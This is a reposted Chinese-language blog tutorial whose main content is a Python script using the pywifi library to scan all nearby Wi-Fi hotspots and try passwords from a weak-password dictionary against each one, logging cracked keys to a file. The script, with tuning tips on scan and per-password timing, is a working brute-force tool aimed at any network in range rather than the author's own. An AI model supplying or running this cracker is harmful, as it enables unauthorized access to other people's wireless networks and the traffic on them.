轉(zhuǎn)帖|使用教程|編輯:我只采一朵|2017-06-19 15:21:31.000|閱讀 372 次
概述:上點(diǎn)python有意思的代碼。
# 界面/圖表報(bào)表/文檔/IDE等千款熱門軟控件火熱銷售中 >>
作者|面包君
上點(diǎn)python有意思的代碼。
這里用的模塊就這三個(gè) pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b’OK\n’:判斷需要修改,不然會(huì)有很多的提示信息。
from pywifi import *
import time
import sys
隨機(jī)搞的wifi弱口令TOP10
推薦掃描時(shí)常可以設(shè)置在15-20秒之間 測(cè)試時(shí)常則可以自定義,考慮到認(rèn)證速度于距離的關(guān)系,我一般設(shè)置在15左右,再久的也沒(méi)意義 到時(shí)候就算破解成功的熱點(diǎn),信號(hào)也好不到哪里
def main():
#掃描時(shí)常
scantimes = 3
#單個(gè)密碼測(cè)試延遲
testtimes = 15
output = sys.stdout
#結(jié)果文件保存路徑
files = "TestRes.txt"
#字典列表
keys = open(sys.argv[1],"r").readlines()
print "|KEYS %s"%(len(keys))
#實(shí)例化一個(gè)pywifi對(duì)象
wifi = PyWiFi()
#選擇定一個(gè)網(wǎng)卡并賦值于iface
iface = wifi.interfaces()[0]
#通過(guò)iface進(jìn)行一個(gè)時(shí)常為scantimes的掃描并獲取附近的熱點(diǎn)基礎(chǔ)配置
scanres = scans(iface,scantimes)
#統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量
nums = len(scanres)
print "|SCAN GET %s"%(nums)
print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)
#將每一個(gè)熱點(diǎn)信息逐一進(jìn)行測(cè)試
for i,x in enumerate(scanres):
#測(cè)試完畢后,成功的結(jié)果講存儲(chǔ)到files中
res = test(nums-i,iface,x,keys,output,testtimes)
if res:
open(files,"a").write(res)
def scans(face,timeout):
#開(kāi)始掃描
face.scan()
time.sleep(timeout)
#在若干秒后獲取掃描結(jié)果
return face.scan_results()
這里后續(xù)推薦將掃描過(guò)程數(shù)據(jù)入庫(kù),防止重復(fù)掃描,且更加直觀。
def test(i,face,x,key,stu,ts):
#顯示對(duì)應(yīng)網(wǎng)絡(luò)名稱,考慮到部分中文名嘖顯示bssid
showID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid
#迭代字典并進(jìn)行爆破
for n,k in enumerate(key):
x.key = k.strip()
#移除所有熱點(diǎn)配置
face.remove_all_network_profiles()
#講封裝好的目標(biāo)嘗試連接
face.connect(face.add_network_profile(x))
#初始化狀態(tài)碼,考慮到用0會(huì)發(fā)生些邏輯錯(cuò)誤
code = 10
t1 = time.time()
#循環(huán)刷新?tīng)顟B(tài),如果置為0則密碼錯(cuò)誤,如超時(shí)則進(jìn)行下一個(gè)
while code!=0 :
time.sleep(0.1)
code = face.status()
now = time.time()-t1
if now>ts:
break
stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))
stu.flush()
if code == 4:
face.disconnect()
return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)
return False
這里顯示本次測(cè)試使用了11個(gè)弱口令,并掃描到了20個(gè)熱點(diǎn),然后開(kāi)始坑爹的跑起來(lái)了
End.
本文轉(zhuǎn)載自:36大數(shù)據(jù)
本站文章除注明轉(zhuǎn)載外,均為本站原創(chuàng)或翻譯。歡迎任何形式的轉(zhuǎn)載,但請(qǐng)務(wù)必注明出處、不得修改原文相關(guān)鏈接,如果存在內(nèi)容上的異議請(qǐng)郵件反饋至chenjj@fc6vip.cn